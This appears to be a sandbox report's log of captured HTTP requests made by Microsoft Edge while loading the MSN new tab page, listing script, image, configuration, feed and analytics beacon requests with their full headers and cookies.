Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.a3d5d471bc3c3cb17d2e.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=edgeChromium&v=20250123.293&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22edgeChromium%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22ntp.msn.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22dhp%22,%22pageExperiments%22:[%22prg-1s-dwvid-wpo%22,%22prg-1s-twid%22,%22prg-1s-workid%22,%22prg-1s-wxtrendv3%22,%22prg-1sw-aitt-ct%22,%22prg-1sw-artf1%22,%22prg-1sw-artrcnr%22,%22prg-1sw-bg-p2%22,%22prg-1sw-bmcon%22,%22prg-1sw-c-prefetchcrs%22,%22prg-1sw-cmevlt%22,%22prg-1sw-crypinf%22,%22prg-1sw-cryptren%22,%22prg-1sw-fc-ghads%22,%22prg-1sw-ldny-transit%22,%22prg-1sw-mtr-en%22,%22prg-1sw-nodenseifp%22,%22prg-1sw-reclaim%22,%22prg-1sw-reclaim2%22,%22prg-1sw-sa-shortintentt1%22,%22prg-1sw-sa-uienichev2t21%22,%22prg-1sw-sacfx2t2%22,%22prg-1sw-sagervunipb%22,%22prg-1sw-saphidei3c%22,%22prg-1sw-tbrfltr%22,%22prg-1sw-tran-trd%22,%22prg-1sw-tvid-p1%22,%22prg-1sw-tvid-t20%22,%22prg-1sw-userwid%22,%22prg-1sw-videopb%22,%22prg-1sw-videosxap%22,%22prg-1sw-wxnhcolk%22,%22prg-1sw-wxomghd%22,%22prg-ad-bdup-5%22,%22prg-ad-conf-ext%22,%22prg-ad-img-retry%22,%22prg-ad-pdedupeb%22,%22prg-adspeek%22,%22prg-cg-ab-testing%22,%22prg-cg-cfzhcnfx%22,%22prg-cg-ingames-ct%22,%22prg-cg-int-ad-pod%22,%22prg-cg-lstfix%22,%22prg-cg-pwa-lock%22,%22prg-cxtsc-c%22,%22prg-fin-compof%22,%22prg-fin-hpoflio%22,%22prg-fin-mwlc%22,%22prg-fin-p1duea%22,%22prg-fin-p2duea%22,%22prg-fin-poflio%22,%22prg-fin-rmar-ct%22,%22prg-gc-pickwinner%22,%22prg-msn-blsbidmho%22,%22prg-p1-txt2%22,%22prg-p1-uc3%22,%22prg-p2-tf-bdgpv-ai%22,%22prg-pr1-videos%22,%22prg-pr2-2cinfopane%22,%22prg-pr2-2clazyifp%22,%22prg-pr2-aisi%22,%22prg-pr2-aitt%22,%22prg-pr2-c-prespot%22,%22prg-pr2-fieplc%22,%22prg-pr2-lazyifpdma%22,%22prg-pr2-lazyippl0%22,%22prg-pr2-lifecycleba%22,%22prg-pr2-marketsel-c%22,%22prg-pr2-nobgifpnrot%22,%22prg-pr2-rail2colboard%22,%22prg-pr2-stalecontent%22,%22prg-pr2-stalecontent-dt%22,%22prg-pr2-tf-local-c1%22,%22prg-pr2-trf-rhighimp%22,%22prg-pr2-trfnblc%22,%22prg-pr2-uxmitipreimg%22,%22prg-pr2-wwidgets-t%22,%22prg-pr2-wxevolnoti%22,%22prg-pw-t-cct-migrate%22,%22prg-pw-t-no-ad-css%22,%22prg-sh-bd-video%22,%22prg-sh-dealsdaypdp%22,%22prg-sh-frnrc%22,%22prg-sh-rmitmlnk%22,%22prg-shipwidoff%22,%22prg-sp-liveapi%22,%22prg-stalewhp%22,%22prg-tv-api%22,%22prg-tv-segcap10%22,%22prg-upsaip-w1-t%22,%22prg-vid-cd%22,%22prg-vid-trdcache%22,%22prg-widgets-manager%22,%22prg-widgets-region%22,%22prg-wtch-chsb-c%22,%22prg-wx-dhgrd-c%22,%22prg-wx-nfor%22]} HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-feed-libs.5fd273d0fc8ef0378ad1.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /service/msn/user?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&activityId=3A35C6D9-C75F-44F1-A696-E1F20ED10EDD&ocid=pdp-peregrine&cm=en-us&it=app&user=m-36CB6A348F62672B3E3A7F498E00663A&scn=APP_ANON&source=market-consolidation HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-cscore.6e0711917552da24ba6f.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/super-nav.e1d340c50396d2b009ae.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experiences_top-sites-edgenext-wc_dist_TopSitesEdgeNextWC_addDialog_js-experiences_top-sites--c06b42.8ee34ad56c99bb958dca.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/node_modules_sortablejs_modular_sortable_esm_js.98cd32e4ed2776436d71.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1737661217428&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3a35c6d9c75f44f1a696e1f20ed10edd&activityId=3a35c6d9c75f44f1a696e1f20ed10edd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1737661217429&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=36CB6A348F62672B3E3A7F498E00663A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/brand/new-msn-logo-color-black.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MUIDB=36CB6A348F62672B3E3A7F498E00663A
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons-wc/icons/FeedSettings.svg HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MUIDB=36CB6A348F62672B3E3A7F498E00663A
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 10sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=3A35C6D9C75F44F1A696E1F20ED10EDD.RefC=2025-01-23T19:40:11Z; USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; MUIDB=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79152d70-0c76-4bcf-bb6a-0dcbed0d61a3; ai_session=uD0SM9lVnN+ZBovzvvWf2A\|1737661217424\|1737661217424; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=3A35C6D9C75F44F1A696E1F20ED10EDD.RefC=2025-01-23T19:40:11Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":26,"imageId":"BB1msOZ4","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=3A35C6D9C75F44F1A696E1F20ED10EDD.RefC=2025-01-23T19:40:11Z; USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; MUIDB=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79152d70-0c76-4bcf-bb6a-0dcbed0d61a3; ai_session=uD0SM9lVnN+ZBovzvvWf2A\|1737661217424\|1737661217424; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=3A35C6D9C75F44F1A696E1F20ED10EDD.RefC=2025-01-23T19:40:11Z
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/ocvFeedback.c1e5c0f1eeb413118a8c.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/diagnostic-web-vitals.95b1542329807b1f42ef.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common-others.918af0be2371c480a676.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/weather-one-liner.cb56dc4da2dc32a76f42.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/nurturing-banner.cef8d219ef568729016b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1737661217429&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=36CB6A348F62672B3E3A7F498E00663A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1D65c52f93929c7a844caee1737661219; XID=1D65c52f93929c7a844caee1737661219
Source: global traffic	HTTP traffic detected: GET /service/news/feed/pages/weblayout?User=m-36CB6A348F62672B3E3A7F498E00663A&activityId=3A35C6D9-C75F-44F1-A696-E1F20ED10EDD&adminDisabled=false&adoffsets=c1:-1,c2:-1,c3:-1&adsTimeout=600&apikey=0QfOX3Vn51YCzitbLaRkTTBadtWpgTN8NZLW0C1SEM&audienceMode=adult&backgroundImageIsSet=false&cm=en-us&colstatus=c1:0,c2:0,c3:0&column=c3&colwidth=300&cookieWallPresent=false&dhp=1&disablecontent=true&inEdgeFeatures=false&it=app&l3v=2&layout=c3&memory=8&mobile=false&newsSkip=0&newsTop=48&ocid=anaheim-ntp-feeds&pgc=547&revertTimes=0&scn=APP_ANON&timeOut=1000&vpSize=1232x876&wposchema=byregion HTTP/1.1Host: assets.msn.comConnection: keep-aliveads-referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"OneSvc-Uni-Feat-Tun: EdgeInterestTier1Ids:null;LoginState:NA;Product:anaheim;PageName:default;PageType:dhp;OCID:msedgdhp;ViewPortWidth:1280;ViewPortHeight:984;sec-ch-ua-mobile: ?0taboola-sessionId: initUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1; MUIDB=36CB6A348F62672B3E3A7F498E00663A
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/background-gallery.ca616469ff36f5744808.js HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1737661217428&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3a35c6d9c75f44f1a696e1f20ed10edd&activityId=3a35c6d9c75f44f1a696e1f20ed10edd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D9667FD42A7C4264B9BD8B71E5B83A72&MUID=36CB6A348F62672B3E3A7F498E00663A HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: 